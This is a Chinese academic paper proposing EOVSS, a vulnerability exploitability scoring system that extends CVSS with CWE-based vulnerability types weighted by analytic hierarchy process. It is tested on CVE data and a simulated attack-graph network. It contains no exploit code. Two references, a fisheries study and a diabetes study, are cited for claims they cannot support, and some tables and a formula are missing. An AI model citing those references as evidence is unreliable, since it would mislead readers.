雷柯楠 張玉清 吳晨思 馬 華
1(綜合業務網理論及關鍵技術國家重點實驗室(西安電子科技大學) 西安 710071) 2(國家計算機網絡入侵防范中心(中國科學院大學) 北京 101408) 3(西安電子科技大學數學與統計學院 西安 710071) (leikn@nipc.org.cn)
2017-06-11;
2017-08-03
國家自然科學基金項目(61572460,61272481);國家重點研發計劃項目(2016YFB0800700);信息安全國家重點實驗室的開放課題(2017-ZD-01);國家發改委信息安全專項項目[(2012)1424];國家111項目(B16037) This work was supported by the National Natural Science Foundation of China (61572460, 61272481), the National Key Research and Development Program of China (2016YFB0800700), the Open Project Program of the State Key Laboratory of Information Security (2017-ZD-01), the National Information Security Special Projects of National Development and Reform Commission of China [(2012)1424], and the China 111 Project (B16037).
張玉清(zhangyq@nipc.org.cn)
基于漏洞類型的漏洞可利用性量化評估系統
雷柯楠1,2張玉清1,2吳晨思2馬 華3
1(綜合業務網理論及關鍵技術國家重點實驗室(西安電子科技大學) 西安 710071)2(國家計算機網絡入侵防范中心(中國科學院大學) 北京 101408)3(西安電子科技大學數學與統計學院 西安 710071) (leikn@nipc.org.cn)
準確量化單個漏洞可利用性是解決基于攻擊路徑分析網絡安全態勢的基礎和關鍵,目前運用最廣泛的漏洞可利用性評估系統是通用漏洞評分系統(common vulnerability scoring system, CVSS).首先利用CVSS對54 331個漏洞的可利用性進行評分,將結果進行統計分析發現CVSS評分系統存在著評分結果多樣性不足,分數過于集中等問題.鑒于CVSS的不足,進一步對漏洞可利用性影響要素進行研究,研究發現漏洞類型能影響可利用性大小.因此將漏洞類型作為評估漏洞可利用性的要素之一,采用層次分析法將其進行量化,基于CVSS上提出一種更為全面的漏洞可利用性量化評估系統(exploitability of vulnerability scoring systems, EOVSS).實驗證明:EOVSS具有良好的多樣性,并能更準確有效地量化評估單個漏洞的可利用性.
漏洞;可利用性;漏洞類型;層次分析法;量化
隨著計算機網絡的發展,網絡上攻擊的發生頻率越來越高,攻擊技術也日趨增強.攻擊者會利用一些漏洞之間的相互關聯來進行攻擊,這樣不僅能增加攻擊隱蔽性,還能提高攻擊成功概率.例如APT攻擊,它具有極強的隱蔽能力,使得防火墻、入侵檢測系統等傳統的安全防護手段束手無策[1].網絡信息系統的安全日趨嚴重,如何度量網絡安全形勢是亟待解決的問題之一[2].利用基于攻擊路徑的度量機制能有效地對目標網絡進行安全態勢評估,分析漏洞之間的關聯,為網絡管理者提供一些安全建議,而基于攻擊路徑的安全態勢評估方法依賴于每一個漏洞的可利用性大小,單個漏洞可利用的大小是解決基于攻擊路徑分析網絡安全態勢評估的重要數據依據,因此,準確量化單個漏洞可利用性就顯得尤為關鍵和重要.
漏洞可利用性是指該漏洞被攻擊者攻擊和利用可能性大小,是漏洞的固有屬性[3].它作為評估漏洞嚴重性的一部分,兩者是從屬關系,漏洞可利用性越高,說明漏洞嚴重程度越高,但是漏洞嚴重程度越高并不能代表可利用性越高.由于影響漏洞可利用性的因素有很多,而且這些因素大多數具有不確定性、復雜性[4],如何從這些因素中提取關鍵信息并對其進行量化在網絡安全態勢分析中具有重要意義.
本文在通用漏洞評分系統(common vulnerability scoring system, CVSS)的基礎上,對漏洞庫中的大量漏洞進行統計分析后,建立了一個更為全面的漏洞可利用性評估系統(exploitability of vulnerability scoring system, EOVSS),通過實驗證明,EOVSS相比于CVSS,能將相同分值漏洞進一步劃分,使可利用性分值多樣化,并使評估更加準確.本文的主要貢獻有3個方面:
1) 利用CVSS對公共漏洞和暴露(common vulnerabilities and exposures, CVE)漏洞庫中54 331個漏洞的可利用性進行評分,對結果進行統計,數據表明:CVSS評分具有多樣性不足、分值過于集中等問題.
2) 分析了影響漏洞可利用性的要素,發現漏洞類型可以影響可利用性的大小,并利用層次分析法將其量化.
3) 引入漏洞類型作為一個新的可利用性評估要素,提出EOVSS,實驗結果表明EOVSS具有更好的多樣性和準確性.
目前,多數研究主要集中于2方面:
1) 利用攻擊路徑來模擬網絡實際安全狀態并進行量化分析,最終得到網絡的總體安全態勢值.這些研究對如何建立網絡攻擊路徑及分析漏洞之間的相互依賴關系進行了探討[5],卻忽略了對單個漏洞可利用性量化這個基礎問題.有的沒有說明應該如何得到漏洞可利用性大小,僅靠單純地觀測漏洞并給出一個量化值;有的依靠CVSS來獲取漏洞可利用性量化值.
有研究中提出對多階段網絡攻擊的形式化描述,在此基礎上建立了攻擊鏈和攻擊樹并基于攻擊樹對攻擊者到達安全目標的可能性進行量化分析[6],其中,各個漏洞的可利用性大小決定了攻擊者達到安全目標的可能性大小.2007年Lai等人提出了3種漏洞分析的方法[7],方法之一就是利用攻擊路徑來分析網絡上主機的安全風險值,而要獲得網絡上主機的安全值就必須先獲得攻擊路徑上各漏洞的可利用值.但上述2篇文獻均沒有給出如何獲得漏洞的可利用量化值.2014年Zhang等人在獲取漏洞可利用性量化值時,在CVSS基礎上增加了影響可利用性的相關指標[8],但研究沒有給出該指標為何會影響可利用性,并不具有說服性.還有研究者提出了利用貝葉斯網絡的攻擊圖量化分析網絡總體安全性[9].考慮到漏洞間的關聯性和依賴性,把貝葉斯網絡用于攻擊圖的安全分析,得到的分析結果比較符合網絡攻擊的實際情況.但對于攻擊圖中的每個節點的條件概率即漏洞的可利用性大小,僅從CVSS中獲取該值,并且加入了嚴重性的影響,這并不能滿足需求.國內研究者陸余良等人提出了一種針對主機安全性的量化融合模型[10].該模型基于規范的網絡綜合信息數據庫,利用相關數學模型對漏洞進行可利用性分析,在此基礎上對目標主機的安全性能進一步評估.該研究給出了漏洞可利用性的評估指標,但僅從主觀角度分析,沒有數據依據.
2) 對單個漏洞的嚴重性進行分析.20世紀末至21世紀初,定性評估漏洞等級方法迅速流行起來,IBM,Microsoft,Secunia,Symantec等大多數廠商各自從不同的角度對產品漏洞進行定性評估,但由于各自方法不一,出現了評定混亂的現象,而且定量評分方式停滯不前.2004年CVSS在這一背景下產生,建立起一套對漏洞嚴重性進行定量評分的方法,試圖打破各個廠商評估不一的局面,美國國家漏洞數據庫將CVSS作為其官方漏洞威脅評估的方法.近年來,不少安全人員對CVSS進行了改進,在CVSS的基礎上,通過不同的方式去優化它.
2015年Wen等人分析了CVSS在指標取值、危害值分布、分散性和客觀性方面所存在的問題[11],提出了CVSS_PCA危害性評估系統,但對漏洞可利用性部分沒有加以討論;研究者在同年分析了ExpertSystem和CVSS的客觀性,并基于Expert-System對CVSS進行了修正,文中對漏洞可利用性做了部分探討[12],但沒有加入新的要素;Liu等人利用層次分析法量化了漏洞嚴重性相關要素,設計了一套新的評估系統[13],但對可利用性相關要素沒有進行探討;Wang等人在研究中增加了影響漏洞嚴重性的相關指標[14],但主觀性較強,沒有數據依據,不具有良好的說服性;王凱等人對如何有效挖掘安卓系統漏洞進行了總結分析,并討論了值得進一步研究的安全問題[15],但主要講的是如何發現漏洞,對漏洞進行安全性評估在文章中篇幅較少,并且主要針對的是安卓漏洞;還有研究者提出了一種新的評估模式VRSS[16],主要是采用定性和定量相結合的方式去評估,有效地融合了定性評估和定量評估的優點,但該文獻沒有加入新的要素,僅將漏洞可利用性作為評估漏洞嚴重性的一小部分,沒有針對漏洞可利用性進行詳細分析;評估系統WIVSS[17]是基于CVSS基礎上的一種漏洞評估系統,文中首先介紹了CVSS背景及使用方法,并對CVSS做進一步改進,所采用的方式是將影響要素單項分值進行重新判定,將2個具有相同分值的要素進行進一步區分,增加了評估結果的多樣性.但由于優化時沒有進行大量數據的分析,從而數據依據不足,僅從人為角度判斷,主觀性較強.在本文第5節中也進一步做了實驗對比分析.
CVSS作為目前最為廣泛使用的定量評估系統,相比于定性評估,能更客觀地評估漏洞的嚴重程度,幫助安全人員確定所需反應的緊急度和重要度[18].CVSS基本群描述了影響漏洞嚴重性的6個固有要素,分別為訪問復雜度、攻擊向量、身份認證、可用性影響、完整性影響和機密性影響,這些要素在漏洞評估中起著重要作用[19].其中,訪問復雜度、攻擊向量、身份認證被用來衡量漏洞可利用性大小.本文主要針對這3個要素進行研究.
2.1可利用性三要素
1) 訪問復雜度賦值包括:高、中、低.
① 高.進行目標訪問時存在特定的訪問條件.示例:Linux kernel拒絕服務漏洞(CVE-2014-3940).
② 中.進行目標訪問時存在一定的訪問條件.示例:多款Oracle組件安全漏洞(CVE-2015-0383).
③ 低.進行目標訪問時沒有訪問限制.示例:Apple TV輸入驗證漏洞(CVE-2014-1271).
2) 攻擊向量賦值包括本地、近鄰、遠程.
① 本地.攻擊者利用該安全漏洞時,需要物理接觸攻擊的系統,或者已具有一個本地賬號.示例:CUCSM組件輸入驗證漏洞(CVE-2012-4093).
② 近鄰.攻擊者利用該漏洞時,需要和受攻擊的系統處于一個廣播或沖突域中.示例:SEP授權問題漏洞(CVE-2013-5009).
③ 遠程.攻擊者利用該漏洞進行攻擊時,不需要獲取內網訪問權或本地訪問權.示例:ASUS RT-AC66U多個緩沖區溢出漏洞(CVE-2013-4659).
3) 身份認證賦值包括多次、一次、不需要.
① 多次.漏洞利用需要多次身份認證.示例:Oracle MySQL Server 拒絕服務漏洞(CVE-2014-0430).
② 一次.漏洞利用需要一次身份認證.示例:PostgreSQL 基于棧的緩沖區溢出漏洞(CVE-2014-0063).
③ 不需要.漏洞利用無需身份認證.示例:Apple TV輸入驗證漏洞(CVE-2014-1271).
2.2可利用性分值多樣性及分布
為了客觀準確地分析利用CVSS對漏洞可利用性的評估情況,本文作者獲取了CVE漏洞庫中2007—2016年公布的54 331個漏洞[20],對每一個漏洞的可利用性三要素進行提取,并利用CVSS給出的評估方法計算每一個漏洞的可利用性分值.以下列出了CVSS在評估漏洞可利用性時每一種可能情況的度量標準及可利用性計算公式,如表1所示:

Table 1 Possible Values for Exploitability Metrics

Fig. 1 Distribution of CVSS exploitability scores圖1 CVSS漏洞可利用性分值直方圖
1) 多樣性分析
漏洞評估系統的核心思想是將大量漏洞進行盡可能多的分類,便于使用者能快速區分漏洞,給安全人員提供漏洞修補順序建議.當數據集非常大時,多樣化的分值能對其進行更好的區分.我們對CVE漏洞庫的54 331個漏洞可利用性分值進行了統計,如圖1所示:
根據表1,CVSS漏洞可利用性分值理論上應有27種,在1.2~10分之間,分值越高,表示該漏洞本身的固有利用性越高.根據統計結果圖1顯示,CVE漏洞庫數據集中,存在的可利用性分值共有23種,最低為1.2分,最高為10分.
2) 數據分布分析
數據集分布情況可以直觀、快速地觀察數據的分散程度和中心趨勢.根據統計結果,利用CVSS評估的5萬多個漏洞中,有4個可利用分值的樣本數少于10,分別為1.2,2.0,3.5,4.1.8個漏洞可利分值的樣本數大于1 000,分別是3.4,3.9,4.9,5.5,6.8,8.0,8.6,10,其中8.6,10最為居多,樣本數均在2萬左右,如圖2所示,8.6及10所占比例較大,達的74%.

Fig. 2 Pie chart of CVSS exploitability scores圖2 CVSS漏洞可利用性分值扇形圖
從上述統計我們發現,CVSS漏洞可利用性評分多樣性不足,并且分值過于集中,可利用性高的漏洞數量非常大,如何將這些漏洞進行進一步劃分,在網絡安全態勢分析中具有重要意義.
3.1個案分析
面對多個具有相同可利用分值的漏洞時,哪一個會更先被攻擊者利用?為了進一步研究漏洞可利用性相關要素,我們對多個具有相同可利用分值的漏洞進行了分析,下面是2個實例.
1) CVE-2016-1247.Ubuntu發行版的Nginx在新建日志目錄的時,使用了不安全的權限,攻擊者可以從nginx/web用戶權限提升到ROOT.
2) CVE-2014-3085.使用1.20.20.23447之前版本固件的IBM 1754 GCM16和GCM32 GCM交換機的systest.php腳本中存在安全漏洞,攻擊者可通過“lpres” 參數中的shell元字符利用該漏洞執行任意命令.
上述2個漏洞在CVSS中可利用性評分都為3.9,然而,研究表明在實際情況中,后者能被成功利用的概率約為35.6%,前者約為31.3%,因此后者比前者更容易達到攻擊目的.通過對比分析發現,兩者屬于不同的漏洞類型,前者屬于CWE-59(link following),后者屬于CWE-78(os command injec-tions).鑒于此,我們提出疑問,漏洞類型是否會影響漏洞可利用性,并在3.2節中給出分析結果.
3.2漏洞類型與可利用性關系
本文采用了美國國家漏洞數據通用缺陷列表(common weak-ness enumeration, CWE)分類機制[21]來對漏洞類型與漏洞可利用性之間的關系進行研究.對已具分類標準的41 814個漏洞進行統計,獲取到的CWE一共有69種,每個CWE代表一種漏洞類型,其中有47種CWE的樣本數少于20,由于樣本數過少會有較大誤差,并且這些漏洞數量較少,只占全部漏洞的0.3%,所以對正確率的影響較小,我們在統計時對該47種CWE忽略不計,將余下22種CWE進行統計,共計漏洞41 727個.根據已有的分類標準[22]將漏洞可利用性的23個分值分為1.2~3.9,4~6.9,7~9.9,10這4個等級,分別代表B1不易利用、B2稍易利用、B3容易利用、B4極易利用.以下列出了漏洞類型及各類型中漏洞分布情況,如表2所示:

Table 2 Vulnerability Types and Exploitability Levels
根據表2發現,87.6%的CWE-59漏洞可利用分布在不易利用等級中,82.2%的CWE-89分值在極易利用等級中,這說明:CWE-89類型漏洞相較于CWE-59,更容易被攻擊者利用,漏洞類型對可利用性具有一定的影響.
為了增加漏洞可利用性評分結果的多樣性,更全面地評估漏洞可利用性,需要增加相關指標,對現有的指標細致化.對此,根據上述統計,建議將漏洞類型作為評估可利用性的要素,從而建立一個更加完善的漏洞可利用性評分系統EOVSS.
4.1EOVSS整體結構
EOVSS是基于CVSS上,增加漏洞類型作為可利用性評估要素的評估系統.在EOVSS中,AC,AV,AU分別從CVSS中得到,漏洞類型(vulnerability type,VT)是新增的漏洞可利用性要素.根據文獻[23]中的研究,利用對指標評分來確定指標取值,得出漏洞可利用性評價樣本矩陣,建立各灰類的中心點白化函數,最終得出漏洞類型的權重可知,漏洞類型在可利用性中權重為0.1.因此將VT量化評分保持在0~1.AC,AV,AU的權重為0.9,將CVSS中系數20設為18.這樣 EOVSS與CVSS評分系統能保持單項分0~1和總分0~10一致性,方便安全人員的利用.最終可利用性計算為
EOVSSscore=18×AC×AV×AU+VT.
(1)
4.2層次分析法
層次分析法(analytic hierarchy process, AHP)是一種層次權重決策分析方法,能有效處理決策問題.AHP將決策問題分為目標、準則、措施3個層次,每一層有若干元素,通過比較確定同層之間元素對上一級單個元素的權重,來確定各措施方案對目標的權重.根據層次分析法中的特征向量法確定權重向量的理論中,建立判斷矩陣并由此求下層因素對上層某一因素的權重向量是一個重要環節.目前,從判斷矩陣的一致性角度來確定權重向量的方法已有10幾種,特征向量法(即求判斷矩陣最大特征跟對應的特征向量作為權重向量)就是其中在算法上比較成熟和穩定的一種.本文即采用特征向量法來確定權重.
主要步驟如下:
1) 建立遞階層次結構.
2) 構造兩兩比較判別矩陣.對各指標之間進行兩兩對比,即每次取2個因子xi和xj,以ai j表示xi和xj對Z的影響大小之比.對于如何確定ai j的值,Saaty等人給出了引用數字作為標度,按9分位比例排定各評價指標的相對優劣順序,依次構造出評價指標的判斷矩陣A.
3) 一致性檢驗.當判斷矩陣的階數時,通常難以構造出滿足一致性的矩陣來,但判斷矩陣偏離一致性條件又應有一個度,因此,必須對判斷矩陣是否可接受進行鑒別,鑒別步驟如下.
① 計算一致性指標CI:

(2)
② 查找文獻[24]相應的平均隨機一致性指標RI;
③ 計算一致性比例CR:
CR=CIRI,
(3)
當CR<0.10時,認為判斷矩陣的一致性是可以接受的,否則應對判斷矩陣作適當修正.
4.3基于AHP的VT量化
漏洞類型對可利用性的影響可以被看作是一個決策問題,所以我們采用AHP來量化VT.
根據AHP的計算過程,第1步構造以漏洞類型劃分的AHP模型,確定了目標層、準則層和決策層,如圖3所示.目標層為漏洞可利用性,從上文分析已知,CVSS的分值有23種且分部非常集中,因此在保證準確率的前提下,為了簡化計算方便使用,可將22×23階矩陣簡化22×4階矩陣.將4個準則群組標記為B1:不易利用;B2:稍易利用;B3:容易利用;B4:極易利用,22個漏洞類型的決策層標記為Id1~Id22.

Fig. 3 Vulnerability type factors hierarchy model圖3 漏洞類型層次化模型
第2步構造準則層對目標層的判斷矩陣如下:

B1B2B3B4B111∕31∕51∕9B2311∕31∕6B35311∕4B49641
計算矩陣最大特征向量為
(0.0447 0.1031 0.1153 0.6240)T
進行一致性檢驗,得CR=0.046<0.1,判斷矩陣一致性可接受.
第3步構造決策層元素對準則層的判斷矩陣.決策層為22種漏洞類型,構造漏洞類型對不易利用B1影響的22階判斷矩陣,如表3所示.利用Matlab計算出最大特征向量為
( 0.055 9 0.055 9 0.020 3 0.034 0 0.012 8 0.220 9
0.034 0 0.012 8 0.012 8 0.012 8 0.020 3 0.034 0
0.034 0 0.055 9 0.034 0 0.083 1 0.034 0 0.020 3
0.020 3 0.012 8 0.145 1 0.034 0)T.
由一致性檢測可得CR=0.014<0.1,一致性可接受.通過同樣的方法,構造漏洞類型對稍易利用B2、容易利用B3、極易利用B4的判斷矩陣,分別計算最大特征向量及進行一致性檢測,判斷結果都可接受.上述2步分別是第2層各元素對第1層相對重要性的排序權值,及第3層各個元素對第2層單個因素相對重要性的排序權值.最后,為了得到漏洞類型對可利用性影響量化結果,還需計算措施層對目標層的總排序結果,這可以由上一層次總排序的權重值與本層次的單排序權重復而成,如表4所示,對于上述0.3%被剔除的漏洞,為了減小誤差,使數據更完善以及更具客觀性,針對以上被剔除的漏洞,其VT為整體VT的平均值,

(4)

Table 3 The Pairwise Comparison Matrix of Alternatives

Table 4 Summary of AHP Preferences
5.1EOVSS多樣性及分布

Fig. 4 Distribution of EOVSS exploitability scores圖4 EOVSS漏洞可利用性分值分布圖
為了和CVSS評分進行對比,我們將第2節54 331個漏洞利用EOVSS進行評分并統計.
1) 多樣性分析
最終統計結果如圖4所示,EOVSS漏洞可利用性分值共計66種,分值在1.4~10分之間,分值越高,表示該漏洞本身的固有利用率越高.相較于CVSS的23種分值(如圖1所示),EOVSS將一部分CVSS分值相同的漏洞進行了進一步的劃分,具有更多樣化的評分結果,可供安全人員更好地評估漏洞可利用性.
2) 數據分布分析
漏洞分布扇形圖如圖5所示:

Fig. 5 Distribution of EOVSS exploitability scores圖5 EOVSS漏洞可利用性分值扇形圖
從圖5我們可以看出,EOVSS可利用性分值分布更為廣泛,不過還是有集中個數較大的,例如:8分有6 142個樣本數、8.2分有5 292個樣本數、9.1分有5 336個樣本數,但是相比于CVSS存在2萬樣本集在同一分值(如圖2所示),EOVSS已大幅度優化.多樣性的分值有利于安全人員對漏洞可利用性的評判,進一步區分漏洞可利用性相近的漏洞.
5.2基于攻擊圖的EOVSS準確率
根據文獻[25]中基于攻擊路徑評估網絡安全態勢,生成漏洞關系利用圖,并根據漏洞間關系獲取全局漏洞列表,評估網絡安全態勢.為了進行對比分析,漏洞可利用性量化值通過文獻[17]中量化方法WIVSS,CVSS,EOVSS這3種評估方式得到.
5.2.1 實驗環境
本文搭建網絡環境如圖6所示,網絡環境中存在5臺主機、2層防火墻以及2個路由器,實驗假設路由器和防火墻2種設備不存在漏洞.各節點信息及存在漏洞如表5所示.

Fig. 6 The network environment圖6 實驗網絡環境
內網部分有Web服務器,運行互聯網信息服務(Internet information services, IIS)服務;SMTP服務器,運行Sendmail服務;FTP服務器,為外網提供Serv-U服務;普通用戶User,為了與外網進行通信,運行遠程過程調用協議(remote produce call protocol, RPCP)服務,并且可以訪問Web服務器以及FTP服務器.其中,Web服務器、FTP服務器、SMTP服務器為Linux系統,User主機為Windows系統.外網部分為攻擊者所在網絡,可以與內網進行通信,若攻擊者想要成功獲取STMP服務器上某用戶的郵件信息,首先需要獲取到SMTP服務器管理員權限.防火墻對網絡行為進行了限制,外網可與FTP、Web服務器及User進行連接,SMTP服務器僅能通過Web服務器進行連接.
5.2.2 實驗過程及結果分析
根據文獻[25]生成方法生成實驗環境漏洞關系利用圖,并得出實驗環境中共存在5條攻擊路徑(如圖7所示),分別為:
R1:Attacker-E-A-G-Target;
R2:Attacker-E-B-G-Target;
R3:Attacker-F-C-B-G-Target;
R4:Attacker-D-C-B-G-Target;
R5:Attacker-B-G-Target.

Fig. 7 The relationship of vulnerability圖7 漏洞關系圖
利用文獻[26]給出的公式計算漏洞被成功利用概率P=E×S,S代表漏洞間選擇性量化值,該文獻中已給出計算方法.E為漏洞可利用概率,CVSS在定義量化分值時,漏洞可利用性得分與漏洞可利用概率為線性關系,即分值為10即固有可利用概率為1,分值為5分即可利用概率為0.5.因此,漏洞固有可利用概率可分別從WIVSS,CVSS,EOVSS這3種方式得到.最終所得結果如表6所示.
在利用攻擊路徑的網絡安全態勢分析中,攻擊者能成功攻擊目標是由每一條的攻擊路徑成功概率組成,而每一條攻擊路徑的成功概率是由該路徑上每一個漏洞節點被成功利用的概率相乘得到[26].表6中我們已經利用3種評分標準得出了不同的漏洞被成功利用概率P,接下來我們將計算每一條攻擊路徑能成功攻擊的概率.為了對比實驗數據準確性,我們構建了實驗環境進行大量模擬攻擊測試,通過模擬攻擊測試來得到實際概率,并利用實際概率來獲得實際情況下攻擊成功的概率Actual,與上述計算結果進行對比,通過5條路徑來計算平均準確率,得出評估系統的準確性.計算結果及測試數據如表7所示.其中Accuracy是準確率,S為標準差.

Table 6 The Probability of Vulnerability Exploitability and Being Used Probability

Table 7 Results and Comparison
如表7所示,WIVSS的準確率雖然比CVSS高,但是文中只憑主觀判斷來確定漏洞可利用性要素,沒有實驗數據,不具說服力.EOVSS中,將漏洞類型作為可利用要素之一有數據依據,更具說服力,實驗結果也表明:EOVSS的準確性高,標準差低,評分結果比較穩定.
5.3EOVSS整體準確率
5.2節通過基于攻擊圖實驗說明單個漏洞可利用性的評分狀況,證明在利用攻擊圖對網絡安全態勢分析研究中,EOVSS對單個漏洞可利用性的量化評估準確率更高.由于5.2節是漏洞僅在特定環境下的部署,為了更具說服性以及客觀性,采取文獻[27]方式,選取了分布各分值的2 000個漏洞作為樣本,對其進行大量滲透測試,得出漏洞固有可利用概率并與CVSS,WIVSS,EOVSS進行對比.結果如圖8所示.
由圖8可知,EOVSS與實際情況的擬合度比CVSS和WIVSS高,因此,基于CVSS基礎上,加入漏洞類型這一要素進行漏洞可利用性評估結果更符合實際情況,EOVSS具有更好的準確性.

Fig. 8 Three systems for scoring the exploitability of vulnerability distributions fitting圖8 3種漏洞可利用性評估系統擬合圖
第5節通過數據統計及實驗分別從個例和整體分析了EOVSS的評估效果.為了更直觀地對比3種評估系統,本節將做進一步說明.表8為3種評估系統總結對比詳情.

Table 8 Details of Three Systems
現有階段對漏洞可利用性研究還不夠全面,但基于攻擊圖對網絡態勢進行分析的研究是當前的熱點,如何給基于攻擊圖分析網絡安全態勢提供客觀準確的評估依據也成為現如今亟待解決的問題之一.
本文僅從增加要素的角度去考慮,研究證明了漏洞類型是可以影響漏洞可利用性的.但在現實網絡情況中,漏洞隨著網絡環境、時間推移也會發生相應的變化.影響漏洞可利用性要素不局限于漏洞類型,還可能受其他因素影響,不僅漏洞本身的屬性會影響漏洞可利用性,外界網絡環境也會影響可利用性,例如攻擊工具的完善程度、是否存在相應的補丁、防火墻路由器設施完備性等.
基于上述分析,一方面對于漏洞本身屬性,如何準確提取出影響要素以及客觀地進行量化是漏洞可利用性研究的重點.另一方面,對于環境變量因素,如何在不同的網絡環境中對漏洞可利用性進行評估是研究的難點.本文作者僅對漏洞類型這一要素進行了研究,還存在著不足.下一步的研究工作主要有3個方面:
1) 對漏洞可利用性影響要素進行進一步的分析,能通過數據依據提取出相關影響要素,使結論具有一定的客觀依據.
2) 利用更有效的數學方法對影響要素進行量化,從而進一步完善EOVSS.
3) 在不同的網絡環境下對EOVSS進行檢測,并考慮環境變量因素,使EOVSS能更符合如今復雜的網絡環境.
本文首先對54331個漏洞的CVSS可利用性分值進行分析,可知評分系統存在分值不夠多樣化等不足.為了優化評分系統,對漏洞可利用性要素進行分析,發現漏洞類型影響可利用性,因此,將其作為評分要素之一,通過AHP方法將漏洞類型進行量化,在CVSS基礎上改進成為新的評分標準EOVSS.實驗證明,EOVSS具有良好的多樣性以及更高的準確性,能為安全人員提供更好的服務.
[1] Liu Qixu, Zhang Chongbing, Zhang Yuqing, et al. Research on key technology of vulnerability threat classification[J]. Journal on Communications, 2012, 33(Z1): 79-87 (in Chinese)
(劉奇旭, 張翀斌, 張玉清, 等. 安全漏洞等級劃分關鍵技術研究[J]. 通信學報, 2012, 33(Z1): 79-87)
[2] Acemoglu D, Malekian A, Ozdaglar A. Network security and contagion[J]. Journal of Economic Theory, 2016, 42(3): 38-48
[3] Wang Lingyu, Singhal A, Jajodia S. Measuring the overall security of network configurations using attack graphs[C] // Proc of the 11th Ifip Wg 11.3 Working Conf on Data and Applications Security. Berlin: Springer, 2007: 98-112
[4] Younis A, Malaiya Y K, Ray I. Assessing vulnerability exploitability risk using software properties[J]. Software Quality Journal, 2016, 24(1): 159-202
[5] Szwed P, Skrzyński P. A new lightweight method for security risk assessment based on fuzzy cognitive maps[J]. International Journal of Applied Mathematics & Computer Science, 2014, 24(1): 213-225
[6] Dawkins J, Hale J. A systematic approach to multi-stage network attack analysis[C] //Proc of the 4th Int Information Assurance Workshop. Piscataway, NJ: IEEE, 2004: 48-56
[7] Lai Y P, Hsia P L. Using the vulnerability information of computer systems to improve the network security[J].Computer Communications, 2007, 30(9): 2032-2047
[8] Zhang Fengli, Feng Bo. Vulnerability assessment based on correlation[J]. Application Research of Computers, 2014, 31(3): 811-814
[9] Frigault M. Measuring network security using bayesian network-based attack graphs[J]. Computer Software and Applications, 2010, 22(4): 698-703
[10] Lu Yuliang, Xia Yang. Reaserch on target-computer secure quantitative fusion model[J]. Chinese Journal of Computers, 2005, 28(5): 914-920 (in Chinese)
(陸余良, 夏陽. 主機安全量化融合模型研究[J]. 計算機學報, 2005, 28(5): 914-920)
[11] Wen Tao, Zhang Yuqing. ASVC: An automatic security vulnerability categorization framework based on novel features of vulnerability data[J].Journal of Communications, 2015, 76(8): 823-895
[12] Wen Tao, Zhang Yuqing, Dong Ying, et al. A novel automatic severity vulnerability assessment framework[J]. Journal of Communications, 2015, 10(5): 786-798
[13] Liu Qixu, Zhang Yuqing, Kong Ying, et al. Improving VRSS-based vulnerability prioritization using analytic hierarchy process [J]. Journal of Systems & Software, 2012, 85(8): 1699-1708
[14] Wang Ruyi, Gao Ling, Sun Qian, et al. An improved CVSS-based vulnerability scoring mechanism[C] //Proc of the 3rd Int Conf on Multimedia Information Networking and Security. Piscataway, NJ: IEEE, 2011: 352-355
[15] Zhang Yuqing, Fang Zhejun, Wang Kai, et al. Survey of Android vulnerability detection[J]. Journal of Computer Research and Development, 2015, 52(10): 2167-2177 (in Chinese)
(張玉清, 方喆君, 王凱, 等. Android安全漏洞挖掘技術綜述[J]. 計算機研究與發展, 2015, 52(10): 2167-2177)
[16] Liu Qixu, Zhang Yuqing. VRSS: A new system for rating and scoring vulnerabilities[J]. Computer Communications, 2011, 34(3): 264-273
[17] Spanos G, Sioziou A, Angelis L. WIVSS: A new methodology for scoring information systems vulnerabilities[J]. Computer Communications, 2013, 34(5): 83-90
[18] Mell P, Scarfone K, Romanosky S. Common vulnerability scoring system[J]. IEEE Security & Privacy Magazine, 2006, 4(6): 85-89
[19] Scarfone K, Mell P. An analysis of CVSS version 2 vulnerability scoring[C] // Proc of the 3rd Int Symp on Empirical Software Engineering and Measurement. Piscataway, NJ: IEEE, 2009: 516-525
[20] CANs. Common vulnerabilities and exposures[EB/OL]. [2017-04-14]. http: //cve.mitre.org/index.html
[21] CANs. Common weakness enumeration[EB/OL].[2017-01-18]. http: //cwe.mitre.org
[22] Rasheed A R, Abdulla A, Zakariyya N I. Vulnerability of different types of fishers to potential implementation of a management plan in a marine protected area (MPA) in the Maldives[J]. Marine Policy, 2016, 74(2): 195-204
[23] Montaigne D, Coisne A, Sosner P, et al. Electrical atrial vulnerability and renal complications in type 2 diabetes[J]. Diabetologia, 2015, 59(4): 1-12
[24] Aonso J A, Lamata M T. Consistency in the analytic hierarchyprocess: A new approach[J]. International Journal of Uncertainty, Fuzziness and Knowlege-Based Systems, 2006, 14(4): 445-459
[25] Keramati M, Akbari A, Keramati M. CVSS-based security metrics for quantitative analysis of attack graphs[C] //Proc of the 2013 IEEE Int conf Computer and Knowledge Engineering. Piscataway, NJ: IEEE, 2013: 178-183
[26] Jiang Hui. The detection of global vulnerability based on attack path[D].Qingdao: Ocean University of China, 2015 (in Chinese)
(姜慧. 基于攻擊路徑的全局漏洞檢測[D]. 青島: 中國海洋大學, 2015)
[27] Miaoui Y, Boudriga N. Enterprise security investment through time when facing different types of vulnerabilities[J]. Information Systems Frontiers, 2017, 20(2): 11-24
ASystemforScoringtheExploitabilityofVulnerabilityBasedTypes
Lei Kenan1,2, Zhang Yuqing1,2, Wu Chensi2, and Ma Hua3
1(StateKeyLaboratoryofIntegratedServicesNetworks(XidianUniversity),Xi’an710071)2(NationalComputerNetworkIntrusionProtectionCenter(UniversityofChineseAcademyofSciences),Beijing101408)3(SchoolofMathematicsandStatistics,XidianUniversity,Xi’an710071)
As is known to all, vulnerabilities play an extremely important role in network security now. Accurately quantizing the exploitability of a vulnerability is critical to the attack-graph based analysis of network information system security. Currently the most widely used assessment system for vulnerability exploitability is the common vulnerability scoring system (CVSS). Firstly, the exploitability scores of 54331 vulnerabilities are computed by using CVSS. Then, statistical analysis is performed on the computed exploitability scores, which indicates that CVSS lacks diversity, and more diverse results can help end-users prioritize vulnerabilities and fix those that pose the greatest risks at first. Statistical results show that the scores are too centralized as well. Finally, taking into account the disadvantages of CVSS, we study the influence factors of vulnerability exploitability, and demonstrate that the types of a vulnerability can influence its exploitability. Therefore, we consider vulnerability types as one of the influence factors of vulnerability exploitability, and use analytic hierarchy process to quantify it, and propose a more comprehensive quantitative evaluation system named exploitability of vulnerability scoring systems (EOVSS) based on CVSS. Experiments show that the diversity of scores computed by EOVSS is four times that computed by CVSS, and EOVSS can more accurately and effectively quantify the exploitability of a vulnerability in comparison with CVSS.
vulnerability; exploitability; vulnerability type; analytic hierarchy process; quantification
TP393

